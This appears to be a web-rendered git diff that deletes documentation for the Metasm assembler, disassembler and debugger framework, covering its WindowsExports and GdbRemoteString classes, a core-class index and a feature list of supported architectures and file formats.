The class method `open_pid` is defined, that will try to `OpenProcess`
|
|
||||||
first in read/write, and fallback to read-only mode.
|
|
||||||
|
|
||||||
|
|
||||||
GdbRemoteString
|
|
||||||
###############
|
|
||||||
|
|
||||||
Defined in `metasm/os/remote.rb`.
|
|
||||||
|
|
||||||
Maps over the virtual memory of a remote process debugged with a
|
|
||||||
<core/GdbClient.txt> instance, using `setmem` and `getmem`.
|
|
|
@ -1,61 +0,0 @@
|
||||||
WindowsExports
|
|
||||||
==============
|
|
||||||
|
|
||||||
This class is defined in `metasm/os/windows_exports.rb`
|
|
||||||
|
|
||||||
It defines an `EXPORT` constant, a Hash, whose keys
|
|
||||||
are the standard win32 API symbol names, and values
|
|
||||||
are the library name where you can find this symbol.
|
|
||||||
|
|
||||||
The equivalent for GNU/Linux is <core/GNUExports.txt>
|
|
||||||
|
|
||||||
Usage
|
|
||||||
-----
|
|
||||||
|
|
||||||
The main usage of this class is the automatic generation
|
|
||||||
of the <core/PE.txt> import directories from the
|
|
||||||
external symbols referenced by a binary during compilation.
|
|
||||||
|
|
||||||
This is done in the `automagic_symbols` method.
|
|
||||||
|
|
||||||
Symbols
|
|
||||||
-------
|
|
||||||
|
|
||||||
The current version holds the symbols available in the
|
|
||||||
Windows XP SP2 32-bit standard libraries:
|
|
||||||
|
|
||||||
* `ntdll`
|
|
||||||
* `kernel32`
|
|
||||||
* `user32`
|
|
||||||
* `gdi32`
|
|
||||||
* `advapi32`
|
|
||||||
* `ws2_32`
|
|
||||||
* `msvcrt`
|
|
||||||
* `comdlg32`
|
|
||||||
* `psapi`
|
|
||||||
|
|
||||||
|
|
||||||
Ruby symbols are also defined, from `msvcrt-ruby18`.
|
|
||||||
|
|
||||||
|
|
||||||
Ruby library name
|
|
||||||
-----------------
|
|
||||||
|
|
||||||
On creation, the current ruby library name is inferred
|
|
||||||
from the `RUBY_PLATFORM` constant, in an effort to
|
|
||||||
try to use the available ruby library filename.
|
|
||||||
|
|
||||||
The only transformation supported now is to rewrite
|
|
||||||
the ruby version number appearing in the filename for
|
|
||||||
msvcrt-compiled binaries, so that you get the correct
|
|
||||||
`msvcrt-ruby192` name for exemple under ruby1.9.
|
|
||||||
|
|
||||||
This is implemented in the `patch_rubylib_to_current_interpreter`
|
|
||||||
method (which is aptly named).
|
|
||||||
|
|
||||||
Warning
|
|
||||||
#######
|
|
||||||
|
|
||||||
Note that binaries compiled this way will not work on
|
|
||||||
other machines where the exact same library is unavailable.
|
|
||||||
|
|
|
@ -1 +0,0 @@
|
||||||
See <core_classes.txt>
|
|
|
@ -1,75 +0,0 @@
|
||||||
Core classes
|
|
||||||
============
|
|
||||||
|
|
||||||
Core
|
|
||||||
----
|
|
||||||
|
|
||||||
* <core/Expression.txt>
|
|
||||||
* <core/EncodedData.txt>
|
|
||||||
* <core/VirtualString.txt>
|
|
||||||
* <core/Opcode.txt>
|
|
||||||
* <core/Instruction.txt>
|
|
||||||
|
|
||||||
CPUs
|
|
||||||
----
|
|
||||||
|
|
||||||
* <core/CPU.txt>
|
|
||||||
* <core/Ia32.txt>
|
|
||||||
* <core/X86_64.txt>
|
|
||||||
* <core/MIPS.txt>
|
|
||||||
* <core/PowerPC.txt>
|
|
||||||
* <core/Sh4.txt>
|
|
||||||
|
|
||||||
ExeFormats
|
|
||||||
----------
|
|
||||||
|
|
||||||
* <core/ExeFormat.txt>
|
|
||||||
* <core/SerialStruct.txt>
|
|
||||||
* <core/AutoExe.txt>
|
|
||||||
|
|
||||||
* <core/Shellcode.txt>
|
|
||||||
* <core/PE.txt>
|
|
||||||
* <core/COFF.txt>
|
|
||||||
* <core/ELF.txt>
|
|
||||||
|
|
||||||
C
|
|
||||||
----
|
|
||||||
|
|
||||||
* <core/Preprocessor.txt>
|
|
||||||
* <core/CParser.txt>
|
|
||||||
* <core/CCompiler.txt>
|
|
||||||
|
|
||||||
Debugger
|
|
||||||
--------
|
|
||||||
|
|
||||||
* <core/OS.txt>
|
|
||||||
* <core/Debugger.txt>
|
|
||||||
* <core/LinDebugger.txt>
|
|
||||||
* <core/WinDebugger.txt>
|
|
||||||
* <core/PTrace.txt>
|
|
||||||
* <core/GdbClient.txt>
|
|
||||||
* <core/WinDbgAPI.txt>
|
|
||||||
|
|
||||||
Disassembler
|
|
||||||
------------
|
|
||||||
|
|
||||||
* <core/Disassembler.txt>
|
|
||||||
* <core/DecodedFunction.txt>
|
|
||||||
* <core/DecodedInstruction.txt>
|
|
||||||
* <core/InstructionBlock.txt>
|
|
||||||
* <core/Decompiler.txt>
|
|
||||||
|
|
||||||
GUI
|
|
||||||
----
|
|
||||||
|
|
||||||
* <core/Gui.txt>
|
|
||||||
* <core/Gui_Drawable.txt>
|
|
||||||
* <core/Gui_Window.txt>
|
|
||||||
|
|
||||||
* <core/Gui_DasmWidget.txt>
|
|
||||||
* <core/Gui_DebugWidget.txt>
|
|
||||||
|
|
||||||
Others
|
|
||||||
------
|
|
||||||
|
|
||||||
* <core/DynLdr.txt>
|
|
|
@ -1,53 +0,0 @@
|
||||||
Metasm feature list
|
|
||||||
===================
|
|
||||||
|
|
||||||
Metasm is a cross-architecture assembler, disassembler, compiler, linker and debugger.
|
|
||||||
|
|
||||||
See <use_cases.txt>
|
|
||||||
|
|
||||||
Architectures
|
|
||||||
-------------
|
|
||||||
|
|
||||||
It is written in such a way that it is easy to add support for new architectures.
|
|
||||||
For now, the following architectures are in:
|
|
||||||
|
|
||||||
* Intel <core/Ia32.txt> (16 and 32bits)
|
|
||||||
* Intel <core/X86_64.txt> (*aka* Ia32 64bits, X64, AMD64)
|
|
||||||
* MIPS
|
|
||||||
* PowerPC
|
|
||||||
* Sh4
|
|
||||||
|
|
||||||
The developpement is generally more focused on Ia32 and X86_64.
|
|
||||||
|
|
||||||
|
|
||||||
File formats
|
|
||||||
------------
|
|
||||||
|
|
||||||
The following executable file formats are supported:
|
|
||||||
|
|
||||||
* <core/Shellcode.txt> (raw binary)
|
|
||||||
* <core/PE.txt>/<core/COFF.txt> (32/64bits)
|
|
||||||
* <core/ELF.txt> (32/64bits)
|
|
||||||
|
|
||||||
Those are supported in a more limited way:
|
|
||||||
|
|
||||||
* Mach-O, UniversalBinary
|
|
||||||
* MZ
|
|
||||||
* A.out
|
|
||||||
* XCoff
|
|
||||||
* NDS
|
|
||||||
|
|
||||||
|
|
||||||
Features
|
|
||||||
--------
|
|
||||||
|
|
||||||
The framework includes
|
|
||||||
|
|
||||||
* a graphical <usage/disassembler.txt>
|
|
||||||
* a graphical <usage/debugger.txt>
|
|
||||||
* low and high-level debugging support (Ia32 only for now) under Windows, Linux and remote (via a GdbServer)
|
|
||||||
* an advanced disassembler engine, with limited emulation support
|
|
||||||
* a full <usage/C_parser.txt> (with preprocessor)
|
|
||||||
* an experimental <usage/C_compiler.txt> (Ia32 only)
|
|
||||||
* an experimental <usage/decompiler.txt> (Ia32 only)
|
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue